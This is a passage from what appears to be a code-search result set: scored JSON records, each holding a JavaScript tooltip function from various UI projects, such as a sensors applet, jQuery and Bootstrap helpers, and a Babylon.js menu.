\"+ _(\"crit:\") + \" \" + ((_crit_temp === 0) ? _(\"n/a\") : this._formatted_temp(_crit_temp));\n _tooltip += \"\\n\";\n _crit_temp = null;\n _max_temp = null;\n str_value = null;\n name = null\n }\n }\n }\n }\n\n for (let disk of this.temp_disks) {\n let _disk_name = disk[\"disk\"].trim();\n if (disk[\"show_in_tooltip\"]) {\n let command = \"bash -c '\"+SCRIPTS_DIR+\"/get_disk temp.sh \"+_disk_name+\"'\";\n\n if (!this._temp[_disk_name]) this._temp[_disk_name] = \"??\";\n let _temp;\n if (disk[\"value\"])\n _temp = disk[\"value\"];\n Util.spawnCommandLineAsyncIO(command, Lang.bind (this, function(stdout, stderr, exitCode) {\n this._temp[_disk_name] = stdout;\n //~ log(\"typeof _temp: \"+typeof _temp, true);\n\n\n if (typeof this._temp[_disk_name] === \"object\")\n _temp = to_string(this._temp[_disk_name]);\n else\n _temp = this._temp[_disk_name];\n\n //~ log(\"\"+_disk_name+\": \"+_temp+\"°C\", true);\n }));\n if (!isNaN(_temp)) {\n let _temp_max = disk[\"high\"];\n let _temp_crit = disk[\"crit\"];\n\n let _shown_name = \"\";\n if (this.show_temp_name) _shown_name = disk[\"shown_name\"]+\" \";\n else _shown_name = disk[\"disk\"]+\" \";\n\n _tooltip += (disk[\"show_in_panel\"] && this.bold_italics_main_sensors) ?\n \" <i><b>\" + _shown_name + \"</b></i>\\n\" :\n \" \" + _shown_name + \"\\n\";\n\n let str_value = this._formatted_temp(_temp).padStart(10, \" \");\n _tooltip += (this.bold_values) ?\n \" <b>\" + str_value + \"</b>\" :\n \" \" + str_value;\n\n _tooltip += \" \"+ _(\"high:\") + \" \" + ((_temp_max === 0) ? _(\"n/a\") : this._formatted_temp(_temp_max));\n\n _tooltip += \" \"+ _(\"crit:\") + \" \" + ((_temp_crit === 0) ? _(\"n/a\") : this._formatted_temp(_temp_crit));\n _tooltip += \"\\n\";\n _temp_crit = null;\n _temp_max = null;\n str_value = null;\n _shown_name = null\n }\n }\n }\n\n if (_tooltip.length !== 0) {\n _tooltip = \"🌡\" + \"\\n\" + _tooltip;\n _tooltips.push(_tooltip.trim());\n }\n }\n\n // Fans:\n _tooltip = \"\";\n if (this.show_fan && this.fan_sensors.length !== 0\n && this.data !== undefined && Object.keys(this.data[\"fans\"]).length != 0) {\n if (this.fan_sensors.length > 0) {\n for (let f of this.fan_sensors) {\n if (this.data[\"fans\"][f[\"sensor\"]] !== undefined) {\n if (f[\"show_in_tooltip\"]) {\n let name = (!f[\"shown_name\"]) ? f[\"sensor\"] : f[\"shown_name\"];\n _tooltip += (f[\"show_in_panel\"] && this.bold_italics_main_sensors) ?\n \" <i><b>\" + name + \"</b></i>\\n\" :\n \" \" + name + \"\\n\";\n let str_value = this._formatted_fan(this.data[\"fans\"][f[\"sensor\"]][\"input\"]).padStart(10, \" \");\n _tooltip += (this.bold_values) ?\n \" <b>\" + str_value + \"</b>\" :\n \" \" + str_value;\n let _min_fan = this._get_min_fan(this.data[\"fans\"][f[\"sensor\"]]);\n _tooltip += \" \"+ _(\"min:\") + \" \" + ((_min_fan === 0) ? _(\"n/a\") : this._formatted_fan(_min_fan));\n _tooltip += \"\\n\";\n _min_fan = null;\n str_value = null;\n name = null\n }\n }\n }\n }\n if (_tooltip !== \"\") {\n _tooltip = \"🤂\" + \"\\n\" + _tooltip;\n _tooltips.push(_tooltip.trim());\n }\n }\n\n // Voltages:\n _tooltip = \"\";\n if (this.show_volt && this.volt_sensors.length !== 0\n && this.data !== undefined && Object.keys(this.data[\"voltages\"]).length != 0) {\n if (this.volt_sensors.length > 0) {\n for (let v of this.volt_sensors) {\n if (this.data[\"voltages\"][v[\"sensor\"]] !== undefined) {\n if (v[\"show_in_tooltip\"]) {\n let name = (!v[\"shown_name\"]) ? v[\"sensor\"] : v[\"shown_name\"];\n _tooltip += (v[\"show_in_panel\"] && this.bold_italics_main_sensors) ?\n \" <i><b>\" + name + \"</b></i>\\n\" :\n \" \" + name + \"\\n\";\n let str_value = this._formatted_voltage(this.data[\"voltages\"][v[\"sensor\"]][\"input\"]).padStart(10, \" \");\n _tooltip += (this.bold_values) ?\n \" <b>\" + str_value + \"</b>\" :\n \" \" + str_value;\n _tooltip += \" \"+ _(\"max:\") + \" \" + this._formatted_voltage(this._get_max_voltage(this.data[\"voltages\"][v[\"sensor\"]]));\n _tooltip += \"\\n\";\n str_value = null;\n name = null\n }\n }\n }\n }\n if (_tooltip !== \"\") {\n _tooltip = \"🗲\" + \"\\n\" + _tooltip;\n _tooltips.push(_tooltip.trim());\n }\n }\n\n\n //Intrusion:\n _tooltip = \"\";\n if (this.show_intrusion && this.intrusion_sensors.length !== 0\n && this.data !== undefined && Object.keys(this.data[\"intrusions\"]).length != 0) {\n if (this.intrusion_sensors.length > 0) {\n for (let i of this.intrusion_sensors) {\n if (this.data[\"intrusions\"][i[\"sensor\"]] !== undefined) {\n if (i[\"show_in_tooltip\"]) {\n let name = (!i[\"shown_name\"]) ? i[\"sensor\"] : i[\"shown_name\"];\n _tooltip += (i[\"show_in_panel\"] && this.bold_italics_main_sensors) ?\n \" <i><b>\" + name + \"</b></i>\\n\" :\n \" \" + name + \"\\n\";\n let value = this.data[\"intrusions\"][i[\"sensor\"]][\"alarm\"];\n let message = (value == 0) ? _(\"No intrusion detected\") : _(\"INTRUSION DETECTED!\");\n _tooltip += (this.bold_values) ?\n \" <b>\" + message + \"</b>\" :\n \" \" + message;\n _tooltip += \"\\n\";\n message = null;\n value = null;\n name = null\n }\n }\n }\n }\n if (_tooltip !== \"\") {\n _tooltip = \"⮿\" + \"\\n\" + _tooltip;\n _tooltips.push(_tooltip.trim());\n }\n }\n\n _tooltip = \"\";\n if (_tooltips.length === 0)\n _tooltip = _(\"Must be configured!\");\n else\n _tooltip = _tooltips.join(\"\\n\");\n\n if (this._applet_tooltip.set_markup === undefined)\n this.set_applet_tooltip(_tooltip);\n else\n this._applet_tooltip.set_markup(_tooltip);\n\n _tooltip = null;\n _tooltips = null\n }", "title": "" }, { "docid": "4d6167b761c35247bcad2d04af7f2de4", "score": "0.6332697", "text": "function tips(msg) {\n dialog.tips('点击了::?'.on(msg), 3, 'top right')\n }", "title": "" }, { "docid": "f51858213a149b3b8860fb7469064300", "score": "0.6326371", "text": "function showTip() {\n\n target.attr(\"title\", \"\");\n\n // timeout to delay the tooltip from showing\n delayToolTip = setTimeout(function() {\n\n // set the hover content if there is none specified\n if (options.hoverContent === \"\") {\n if (title) {\n \n\t\t\t\t\t\ttoolTipContent.html(title); \n\n // store the original title attribute and remove the title attr from the target\n toolTip.data(\"title\", title);\n }\n else {\n return false\n }\n\n } else {\n toolTipContent.html(options.hoverContent);\n }\n\n // set data for shown tooltip state\n toolTip.data(\"tipActive\", true);\n target.data(\"currentTip\", true);\n\n // if the tooltip container is not in the dom yet insert it\n if (!toolTipInDom) {\n toolTip\n .addClass(options.elementClass)\n .css({\n \"position\": \"absolute\",\n \"z-index\": 2147483647\n })\n .appendTo(\"body\");\n } else {\n toolTipInDom = true;\n }\n\n // position the tooltip on the page\n positionTip();\n\n // determine if we need to fade in the tooltip\n if (options.fade) {\n toolTip.stop().css({\n \"visibility\": \"visible\",\n \"display\": \"none\"\n }).fadeIn(options.fadeSpeed);\n }\n // if we arn\"t fading just show it\n else {\n toolTip.css({\n \"visibility\": \"visible\"\n });\n }\n\n // bind a single click event to the target to hide the tip\n target.one(\"click.tooltip\", function(event) {\n\n killToolTip(event);\n\n });\n\n }, options.delay);\n\n }", "title": "" }, { "docid": "1a0091e2f476463bf58044b68cbc99b7", "score": "0.6304775", "text": "function initTooTip() {\n\t// status\n\tvar red_message = $(\"#red_message\").val();\n\t$(\".red\").poshytip({\n\t\tallowTipHover : true ,\n\t\tclassName: 'tip-green',\n\t\tcontent: red_message\n\t});\n\tvar green_message = $(\"#green_message\").val();\n\t$(\".green\").poshytip({\n\t\tallowTipHover : true ,\n\t\tclassName: 'tip-green',\n\t\tcontent: green_message\n\t});\n\tvar yellow_message = $(\"#yellow_message\").val();\n\t$(\".yellow\").poshytip({\n\t\tallowTipHover : true ,\n\t\tclassName: 'tip-green',\n\t\tcontent: yellow_message\n\t});\n\tvar gray_message = $(\"#gray_message\").val();\n\t$(\".gray\").poshytip({\n\t\tallowTipHover : true ,\n\t\tclassName: 'tip-green',\n\t\tcontent: gray_message\n\t});\n\t// name\n\t$(\".content_realName\").each(function(i, node){\n\t\tif ($(node).width()>200) {\n\t\t\t$(node).parent().find(\".content_name\").poshytip({\n\t\t\t\tallowTipHover : true ,\n\t\t\t\tclassName: 'tip-green',\n\t\t\t\tcontent: $(node).html()\n\t\t\t});\n\t\t}\n\t});\n\t// trainers\n\t$(\".content_realTrainers\").each(function(i, node){\n\t\tif ($(node).width()>80) {\n\t\t\t$(node).parent().find(\".content_trainer\").poshytip({\n\t\t\t\tallowTipHover : true ,\n\t\t\t\tclassName: 'tip-green',\n\t\t\t\tcontent: $(node).html()\n\t\t\t});\n\t\t}\n\t});\n}", "title": "" }, { "docid": "7934867eda18b8ddb5462694d3f4bab4", "score": "0.6304564", "text": "function tip(o){\n if(o.delay != 'undefined' && o.delay != 0){\n temps = setTimeout(\n function(){\n\t\t\t\toptionsInstant = new cloneObject(o);\n\t\t\t\toptionsInstant.delay = 0;\n\t\t\t\ttip(optionsInstant);\n\t\t\t}\n , o.delay\n );\n }\n else{\n\t\tclassName = 'classic';\n\t\tif(o.hasOwnProperty(className))\n\t\t\tclassName = o.className;\n\t\tcontent = '<div class=\"'+ className +'\">'+ o.content +'</div>'\n enableTip(content);\n\t}\n}", "title": "" }, { "docid": "46075251b1e9acf8565a4efdfb5de18c", "score": "0.6300152", "text": "function TooltipClass(node, options) {\n\n // Public Properties & Settings\n this.settings = $.extend({\n boundary: 'window',\n idleTimeout: 150,\n idleInteractiveClose: 750,\n allowMultiple: false\n }, options);\n\n\n // Private Properties\n var body = $('body');\n var boundary = (this.settings.boundary == 'window') ? $(window) : $(this.settings.boundary);\n var element = $(node);\n var status = $('<div />').attr('id', $.cwUniqueId('aria-status')).attr('role', 'status').attr('aria-live', 'polite').addClass('aria-status');\n var dataSource = {};\n var tooltip;\n var template;\n var hasTemplate = false;\n var hasSiblingTemplate = false;\n var templateSuffix;\n var nextElement;\n var targetTop;\n var targetLeft;\n var timer;\n var closeTimer;\n\n var templateHas = {\n title: false,\n description: false\n };\n\n var positionSettings = {\n sourcePos: {top: 0, left: 0},\n containerPos: {top: 0, left: 0, bottom: 0, right: 0},\n srcWidth: 0,\n srcHeight: 0,\n tooltipWidth: 0,\n tooltipHeight: 0,\n hasBeenShuffled: false,\n hasPosition: {\n top: true,\n middle: false,\n bottom: false,\n left: false,\n center: true,\n right: false\n },\n wantsPosition: {\n top: false,\n middle: false,\n bottom: false,\n left: false,\n center: false,\n right: false\n },\n rawPosition: 'top center'\n };\n\n // Aliases (shorthand for developers)\n var ps = positionSettings;\n\n // Private TooltipCreation function\n var create = function() {\n\n // If tooltip has already been created, show it and stop execution\n if (element.is('.tooltip-exists')) {\n that.show();\n return true;\n } else {\n element.addClass('tooltip-exists');\n }\n\n // Detect Template\n if ( that.settings.template && that.settings.template.length ) {\n templateSuffix = that.settings.template;\n }\n if (templateSuffix) {\n // A template ID was provided so we use that...\n template = $('#tooltip-template-' + templateSuffix);\n if (template.length) {\n element.addClass(templateSuffix);\n hasTemplate = true;\n }\n\n } else {\n nextElement = element.next();\n if (nextElement.is(\".tooltip-box\")) {\n // An immediate sibling template was found so we use that...\n template = nextElement;\n hasTemplate = true;\n hasSiblingTemplate = true;\n } else {\n // No template was found so we use the default...\n template = $('#tooltip-template');\n hasTemplate = false;\n }\n }\n\n // Clone and move tooltip HTML into place after the source element\n var id;\n if (typeof $.cwUniqueId == 'function') {\n id = $.cwUniqueId('tooltip');\n } else {\n id = Math.floor(Math.random() * new Date().getTime());\n }\n tooltip = template.clone(true).appendTo(body).attr('id', id);\n if (hasSiblingTemplate) {\n template.remove();\n }\n\n // Add some default attributes to the new tooltip\n if (!tooltip.data('tooltip-mouseover')) {\n tooltip.data('tooltip-mouseover', false);\n }\n if (!tooltip.data('tooltip-interactive')) {\n tooltip.data('tooltip-interactive', false);\n }\n if (!tooltip.data('tooltip-persist')) {\n tooltip.data('tooltip-persist', false);\n }\n\n\n // Populate dataSource from sourceElement\n if (typeof $.fn.html5data == 'function') {\n dataSource = element.html5data('field');\n }\n\n // Populate template regions with data from dataSource\n if (hasTemplate) {\n tooltip.find('[data-field]').each(function(index, field) {\n field = $(field);\n var content = dataSource[field.data('field')];\n\n if (field && content != '') {\n field.text(dataSource[field.data('field')]);\n } else if (!field.hasClass('default')) {\n // If the field has a class of `default` show it, otherwise hide the field\n field.hide();\n }\n });\n\n } else {\n\n // Build contents of basic template if it's unspecified\n if ( dataSource.title && dataSource.title != '' ) {\n templateHas.title = true;\n }\n if ( dataSource.description && dataSource.description != '' ) {\n templateHas.description = true;\n }\n\n if (templateHas.title && templateHas.description) {\n tooltip.append($('<h3 />').text( dataSource.title ));\n tooltip.append($('<hr />'));\n tooltip.append($('<span />').text( dataSource.description ));\n\n } else {\n if (templateHas.title) {\n tooltip.append($('<span />').text(dataSource.title));\n } else if (templateHas.description) {\n tooltip.append($('<span />').text(dataSource.description));\n } else {\n element.removeClass('tooltip-exists');\n tooltip = null;\n return false;\n }\n }\n }\n\n // If the tooltip contains interactive elements add a data attribute\n if (tooltip.find('a, button, form, input').length) {\n tooltip.data('tooltip-interactive', true);\n }\n\n // If the tooltip is persistent we need to add a close button\n if (element.is('.persist')) {\n tooltip.prepend($('<a />').attr('href', '#').addClass('close').text('close'));\n tooltip.on('click', 'a.close', function(event) {\n event.preventDefault();\n that.hide();\n return false;\n });\n }\n\n // If the tooltip contains interactive elements or is persistent\n // add a data attribute so we can slow down the timeout\n // and add a hover event\n if (tooltip.data('tooltip-interactive') && !element.is('.persist')) {\n\n // Bind to mouse enter/leave\n tooltip.mouseenter(function() {\n if (timer) {\n clearTimeout(timer);\n }\n if (closeTimer) {\n clearTimeout(closeTimer);\n }\n });\n\n tooltip.mouseleave(function() {\n closeTimer = setTimeout(function() {\n close();\n }, that.settings.idleInteractiveClose);\n });\n }\n\n // Add any specified classes to the tooltip\n if (that.settings.classes && that.settings.classes.length) {\n tooltip.addClass( that.settings.classes );\n }\n\n addAccessibility();\n that.show();\n };\n\n // This positions the tooltip, it is complex and fragile - Be careful.\n var positionTooltip = function() {\n\n // Render tooltip (invisibly) to get an accurate height\n tooltip.css({display: 'block', visibility: 'hidden', position: 'absolute'});\n\n ps.hasBeenShuffled = false;\n ps.sourcePos = element.offset();\n\n if (boundary.offset()) {\n ps.containerPos = boundary.offset();\n } else {\n ps.containerPos.top = boundary.scrollTop();\n ps.containerPos.left = boundary.scrollLeft();\n }\n ps.containerPos.right = boundary.width() + ps.containerPos.left;\n ps.containerPos.bottom = boundary.height() + ps.containerPos.top;\n\n // Setup Variables\n ps.srcWidth = element.outerWidth();\n ps.srcHeight = element.outerHeight();\n ps.tooltipWidth = tooltip.outerWidth(true);\n ps.tooltipHeight = tooltip.outerHeight(true);\n\n if (that.settings.position && that.settings.position.length) {\n ps.rawPosition = that.settings.position;\n }\n\n for (position in ps.wantsPosition) {\n if (ps.rawPosition.indexOf(position) > -1) {\n ps.wantsPosition[position] = true;\n }\n }\n\n // Default (Top Center)\n targetTop = ps.sourcePos.top - ps.tooltipHeight;\n targetLeft = ps.sourcePos.left + ((ps.srcWidth / 2) - (ps.tooltipWidth / 2));\n ps.hasPosition.top = true;\n ps.hasPosition.middle = false;\n ps.hasPosition.bottom = false;\n ps.hasPosition.left = false;\n ps.hasPosition.center = true;\n ps.hasPosition.right = false;\n\n\n // Bottom\n if ( (ps.wantsPosition.bottom || (ps.containerPos.top > targetTop)) && ps.wantsPosition.center ) {\n ps.hasPosition.top = false;\n ps.hasPosition.middle = false;\n ps.hasPosition.bottom = true;\n targetTop = ps.sourcePos.top + ps.srcHeight;\n }\n\n // Left\n if (ps.wantsPosition.left) {\n ps.hasPosition.center = false;\n ps.hasPosition.right = false;\n ps.hasPosition.left = true;\n\n if (ps.hasPosition.top) {\n targetTop += ps.srcHeight;\n } else {\n targetTop -= ps.srcHeight;\n }\n\n targetLeft = ps.sourcePos.left - ps.tooltipWidth;\n }\n\n // Right\n if (ps.wantsPosition.right) {\n ps.hasPosition.center = false;\n ps.hasPosition.left = false;\n ps.hasPosition.right = true;\n\n if (ps.hasPosition.top) {\n targetTop += ps.srcHeight;\n } else {\n targetTop -= ps.srcHeight;\n }\n targetLeft = ps.sourcePos.left + ps.srcWidth;\n }\n\n // Middle\n if (ps.wantsPosition.middle) {\n ps.hasPosition.middle = true;\n ps.hasPosition.top = false;\n ps.hasPosition.bottom = false;\n targetTop = (ps.sourcePos.top + ps.srcHeight / 2) - (ps.tooltipHeight / 2);\n }\n\n\n // Left Boundary Check\n if (ps.containerPos.left > targetLeft) {\n // We need to shuffle to the right\n targetLeft += (ps.containerPos.left - targetLeft);\n ps.hasBeenShuffled = true;\n }\n\n // Right Boundary Check\n if ((targetLeft + ps.tooltipWidth) > ps.containerPos.right) {\n // We need to shuffle to the left\n targetLeft -= (targetLeft + ps.tooltipWidth) - ps.containerPos.right;\n ps.hasBeenShuffled = true;\n }\n\n\n if (ps.hasBeenShuffled) {\n // If we've had to shuffle the popup due to the container's width constraints\n // ensure we don't cover the element by defaulting back to Top or Bottom\n if (ps.hasPosition.top || ps.hasPosition.middle) {\n targetTop = ps.sourcePos.top - ps.tooltipHeight;\n ps.hasPosition.top = true;\n ps.hasPosition.middle = false;\n ps.hasPosition.bottom = false;\n }\n\n if (ps.hasPosition.bottom) {\n targetTop = ps.sourcePos.top + ps.srcHeight;\n ps.hasPosition.top = false;\n ps.hasPosition.middle = false;\n ps.hasPosition.bottom = true;\n }\n }\n\n\n // Nudge up and down for left/right/middle\n if ( (ps.hasPosition.left || ps.hasPosition.right || ps.hasPosition.middle) && !ps.hasBeenShuffled ) {\n\n // Shuffle up if hitting bottom boundary\n if ( (targetTop + ps.tooltipHeight) > ps.containerPos.bottom ) {\n targetTop -= (targetTop + ps.tooltipHeight) - ps.containerPos.bottom;\n }\n\n // Shuffle down if hitting top boundary\n if ( ps.containerPos.top > targetTop ) {\n targetTop = ps.containerPos.top;\n }\n }\n\n // Flip to top or bottom for top/bottom/center\n if ( (ps.hasPosition.top || ps.hasPosition.bottom) && (ps.hasPosition.center || ps.hasBeenShuffled) ) {\n\n ps.hasPosition.top = false;\n ps.hasPosition.middle = false;\n ps.hasPosition.bottom = false;\n\n // Switch to top if hitting bottom boundary\n if ( (targetTop + ps.tooltipHeight) > ps.containerPos.bottom ) {\n ps.hasPosition.top = true;\n targetTop = ps.sourcePos.top - ps.tooltipHeight;\n }\n\n // Switch to bottom if hitting top boundary\n if ( ps.containerPos.top > targetTop ) {\n ps.hasPosition.bottom = true;\n targetTop = ps.sourcePos.top + ps.srcHeight;\n }\n }\n\n // Position tooltip and reset our visibility and display properties\n tooltip.css({ left: targetLeft + 'px', top: targetTop + 'px', visibility: 'visible', display: 'none' });\n };\n\n var addAccessibility = function() {\n var tooltipId = tooltip.attr('id');\n var statusId = status.attr('id');\n\n element.append(status);\n tooltip.attr('role', 'tooltip');\n element.attr('aria-describedby', tooltipId);\n element.attr('aria-owns', tooltipId + ' ' + statusId);\n element.attr('aria-controls', tooltipId + ' ' + statusId);\n };\n\n var close = function() {\n // Default tooltip behaviour\n // element.attr('title', element.data('field-title')).removeAttr('field-title');\n\n if (tooltip && tooltip.data('tooltip-interactive') && tooltip.data('tooltip-mouseover')) {\n // This element is interactive and the user is hovering over the tooltip. Do not close - it will handle close events by itself\n return false;\n }\n\n if (tooltip && tooltip.data('tooltip-persist')) {\n // This element is 'persist'ent. Do not close - it will handle close events by itself\n return false;\n }\n\n that.hide();\n };\n\n // Public methods\n this.show = function() {\n // If tooltip has not already been created, create it\n if (!element.is('.tooltip-exists')) {\n if (!create()) {\n return false;\n }\n }\n\n positionTooltip();\n\n if (!that.settings.allowMultiple) {\n // Hide other tooltips\n $('div.tooltip-box').stop().hide();\n }\n\n if (tooltip) {\n tooltip.fadeIn(100);\n status.text( $.trim(tooltip.text().replace(/\\s+/g, \" \")) );\n }\n element.data('tooltip-showing', true);\n };\n\n this.hide = function() {\n if (tooltip) {\n tooltip.stop().fadeOut(50);\n }\n element.data('tooltip-showing', false);\n };\n\n\n this.is_showing = function() {\n if (element.data('tooltip-showing')) {\n return true;\n } else {\n return false;\n }\n }\n\n\n // Private initialisation method - because it initializes itself\n var init = function() {\n // Setup a generic tooltip container\n if (!$('#tooltip-template').length) {\n $('body').append($('<div />').attr('id', 'tooltip-template').addClass('tooltip-box'));\n }\n\n if (element.is('.persist')) {\n // If element is persistent - bind to a click event\n element.click(function(event) {\n event.preventDefault();\n that.show();\n return false;\n });\n\n } else {\n // Bind to mouse enter/leave\n element.on('click focus mouseenter', function(e) {\n\n // If our element is a dummy link (we use dummy links as they are accessible\n // and can be tabbed to) we can stop propogation of the event\n if (e.type == 'click' && (element.attr('href') == '#' || element.attr('href') == '')) {\n e.preventDefault();\n e.stopPropagation();\n }\n\n // If tooltip is already showing\n if (that.is_showing()) {\n // Stop creation of tooltip\n return;\n }\n\n if (closeTimer) {\n clearTimeout(closeTimer);\n }\n\n timer = setTimeout(function() {\n that.show();\n }, that.settings.idleTimeout);\n });\n\n element.on('blur mouseleave', function(e) {\n e.preventDefault();\n if (timer) {\n clearTimeout(timer);\n }\n\n if (tooltip && tooltip.data('tooltip-interactive')) {\n\n closeTimer = setTimeout(function() {\n close();\n }, that.settings.idleInteractiveClose);\n\n } else {\n close();\n }\n });\n }\n\n element.keypress(function(e) {\n if ( e.which == 13 ) {\n element.trigger('click');\n }\n });\n };\n\n var that = this; // Allow private objects access to 'this' via 'that'\n init();\n }", "title": "" }, { "docid": "2639c22fdb3591d2db0842ffddfd9764", "score": "0.62967753", "text": "function bsTooltips(){\n $('.btn').tooltip();\n}", "title": "" }, { "docid": "2665fb330e858c189e7d0af971633ae8", "score": "0.6293146", "text": "function updateTooltip() {\n if (tooltipTarget != null) {\n tooltip.innerHTML = tooltipTarget.dataset.title;\n }\n}", "title": "" }, { "docid": "dd85effe0980a0692d5619c88b0f1942", "score": "0.6291129", "text": "function initTooltips() {\n $(function () {\n $('[data-toggle=\"tooltip\"]').tooltip();\n });\n}", "title": "" }, { "docid": "7525f442eaf0dc70368a1ec645943ad5", "score": "0.62909806", "text": "function tooltips(){\n if ( $('.tooltip').length ){\n var tooltip_interval;\n $('.tooltip').hover(\n function(){\n var cur = $(this);\n tooltip_interval = setTimeout(function(){\n var cur_left = cur.offset().left;\n var cur_top = cur.offset().top;\n var cur_id = cur.attr('data-tooltip');\n var cur_width = cur.width();\n $('.tooltip-fixed[id=\"'+cur_id+'\"]').fadeIn().css({'left':cur_left+cur_width+20,'top':cur_top-80});\n },100);\n },\n function(){\n clearInterval(tooltip_interval);\n var cur = $(this);\n $('.tooltip-fixed').fadeOut(function(){\n $(this).removeAttr('style');\n });\n });\n }\n}", "title": "" }, { "docid": "bce1b829ce955d78de134730b8b148f9", "score": "0.6284518", "text": "function help_init () {\n $ ('.cap-meta-search-help').on ('click', function (dummy_event) {\n $ ('div.cap-meta-search-help-text').toggle ();\n });\n const bs_tooltips = [].slice.call (document.querySelectorAll ('[data-bs-toggle=\"tooltip\"]'));\n bs_tooltips.map ((el) => new Tooltip (el, { 'placement' : 'left' }));\n}", "title": "" }, { "docid": "6d83af3bd384e2cff970ebaa28ef5633", "score": "0.62808025", "text": "function Plugin(option) {\n return this.each(function () {\n var $this = $(this)\n var data = $this.data('bs.tooltip_m')\n var options = typeof option == 'object' && option\n \n if (!data && /destroy|hide/.test(option)) return\n if (!data) $this.data('bs.tooltip_m', (data = new Tooltip(this, options)))\n if (typeof option == 'string') data[option]()\n })\n }", "title": "" }, { "docid": "596bd1ca8ef1e99da2abb875a16501d9", "score": "0.62658226", "text": "get tooltipClass() { return this._tooltipClass; }", "title": "" }, { "docid": "7ec7880cd0ca01b4abf0a92440df74f5", "score": "0.62657225", "text": "function tooltips ( ) {\r\n\r\n\t\t// Tooltips are added with options.tooltips in original order.\r\n\t\tvar tips = scope_Handles.map(addTooltip);\r\n\r\n\t\tbindEvent('update', function(values, handleNumber, unencoded) {\r\n\r\n\t\t\tif ( !tips[handleNumber] ) {\r\n\t\t\t\treturn;\r\n\t\t\t}\r\n\r\n\t\t\tvar formattedValue = values[handleNumber];\r\n\r\n\t\t\tif ( options.tooltips[handleNumber] !== true ) {\r\n\t\t\t\tformattedValue = options.tooltips[handleNumber].to(unencoded[handleNumber]);\r\n\t\t\t}\r\n\r\n\t\t\ttips[handleNumber].innerHTML = formattedValue;\r\n\t\t});\r\n\t}", "title": "" }, { "docid": "556dea7296b1f0572251c2a8c8b394c1", "score": "0.62565154", "text": "show() {\n const {left, top, width, height} = this.node.getBoundingClientRect();\n DiscordModules.Tooltips.show(this.id, {\n position: this.side,\n text: this.label,\n color: this.style,\n targetWidth: width,\n targetHeight: height,\n windowWidth: Screen.width,\n windowHeight: Screen.height,\n x: left,\n y: top\n });\n }", "title": "" }, { "docid": "8d1a129a82d6775a2576815c76681dfa", "score": "0.624746", "text": "function tooltips() {\n\n // Tooltips are added with options.tooltips in original order.\n var tips = scope_Handles.map(addTooltip);\n\n bindEvent('update', function (values, handleNumber, unencoded) {\n\n if (!tips[handleNumber]) {\n return;\n }\n\n var formattedValue = values[handleNumber];\n\n if (options.tooltips[handleNumber] !== true) {\n formattedValue = options.tooltips[handleNumber].to(unencoded[handleNumber]);\n }\n\n tips[handleNumber].innerHTML = formattedValue;\n });\n }", "title": "" }, { "docid": "49fe396fea5479929844b8245ec39542", "score": "0.6245687", "text": "function show_tooltip(element)\r\n {\r\n $(element).tooltip({html:true}).tooltip(\"show\");//show tooltip\r\n }", "title": "" }, { "docid": "02e144b2c55f077a808f419e5e62d3a9", "score": "0.6242596", "text": "function doTooltip(e, msg) {\n if ( typeof Tooltip == \"undefined\" || !Tooltip.ready ) return;\n Tooltip.show(e, msg);\n}", "title": "" }, { "docid": "91bd80dc9a920d85ba6daf52e406056a", "score": "0.6233479", "text": "function showToolTip(arg){\n\t//options\n\t//element - the element on which to invoke the function\n\t//message - the message to put on the tooltip\n\t//timed - 0 to disable\n\t//timer - in ms\n\n\tvar parentElem = arg[\"element\"];\n\tvar loc = $(parentElem)[0].getBoundingClientRect();\n\n\t$(\".tooltip\").detach();\n\tvar htmlTooltip = '<div style=\"position: absolute; display:none; z-index: 25;\" class=\"tooltip\"><p style=\"color: rgb(255, 255, 255); padding: 5px; line-height: 1; border-radius: 7px; background: rgb(71, 212, 212) none repeat scroll 0% 0%; position: relative; z-index: 10;\" class=\"tooltipConten\">';\n\thtmlTooltip += arg[\"message\"];\n\thtmlTooltip += '</p><span style=\"background: rgb(71, 212, 212) none repeat scroll 0% 0%; line-height: 1; display: block; width: 7px; height: 7px; position: relative; -webkit-transform: rotate(45deg); -moz-transform: rotate(45deg); -o-transform: rotate(45deg); transform: rotate(45deg); top: -3px; left: 24px; z-index: -1;\" class=\"arrow\">&nbsp;</span></div>'\n\t$('body').append(htmlTooltip);\n\t$(\".tooltip\").fadeIn(150).css({\n\t\t\"left\": loc.left + 'px',\n\t\t\"top\": loc.top - 32 + 'px'\n\t});\n\tif(arg[\"timed\"] && arg[\"timed\"] != \"0\")\n\t{\n\t\tif(arg[\"timer\"])\n\t\t{\n\t\t\tvar timerSecs = parseInt(arg[\"timer\"]);\n\t\t}\n\t\telse {\n\t\t\tvar timerSecs = 4000;\n\t\t}\n\t\tsetTimeout(function(){\n\t\t\t$(\".tooltip\").fadeOut(150);\n\t\t},timerSecs);\n\t}\n}", "title": "" }, { "docid": "93f354f7e6b3f36229053b7a8e9f047c", "score": "0.62141174", "text": "tooltip() {\n return null;\n }", "title": "" }, { "docid": "74a74825a33ca3a92d71e8960f71eee6", "score": "0.6213644", "text": "hideToolTip() {\r\n this.i.hp();\r\n }", "title": "" }, { "docid": "37b5d09c0f791f33c5ebe8b11208d8d1", "score": "0.62031794", "text": "addTooltip () {\n let _this = this\n let advancedTexture = GUI.AdvancedDynamicTexture.CreateFullscreenUI('UI')\n\n let tooltip = new GUI.Rectangle('tooltip')\n tooltip.width = '60px'\n tooltip.height = '80px'\n tooltip.color = 'white'\n tooltip.thickness = 1\n tooltip.horizontalAlignment = 0\n tooltip.verticalAlignment = 0\n tooltip.background = '#adadad'\n tooltip.isVisible = false\n\n let button1 = GUI.Button.CreateSimpleButton('but', 'Rotate')\n this._customTooltip(button1)\n tooltip.addControl(button1)\n button1.onPointerUpObservable.add(function (ev) {\n if (ev.buttonIndex === 0) {\n _this.rotatePart()\n }\n // _this.tooltip.isVisible = false\n })\n\n var button3 = GUI.Button.CreateSimpleButton('but', 'Remove')\n this._customTooltip(button3)\n button3.top = '40px'\n tooltip.addControl(button3)\n button3.onPointerUpObservable.add(function (ev) {\n if (ev.buttonIndex === 0) {\n _this.removePart()\n }\n _this.tooltip.isVisible = false\n })\n\n var button5 = GUI.Button.CreateSimpleButton('but', 'Mirror')\n this._customTooltip(button5)\n button5.top = '60px'\n tooltip.addControl(button5)\n button5.onPointerUpObservable.add(function (ev) {\n if (ev.buttonIndex === 0) {\n _this.mirrorPart()\n }\n _this.tooltip.isVisible = false\n })\n\n var button4 = GUI.Button.CreateSimpleButton('but', 'Replace')\n this._customTooltip(button4)\n button4.top = '20px'\n tooltip.addControl(button4)\n button4.onPointerUpObservable.add(function (ev) {\n if (ev.buttonIndex === 0) {\n _this.removePart(true)\n }\n _this.tooltip.isVisible = false\n })\n\n 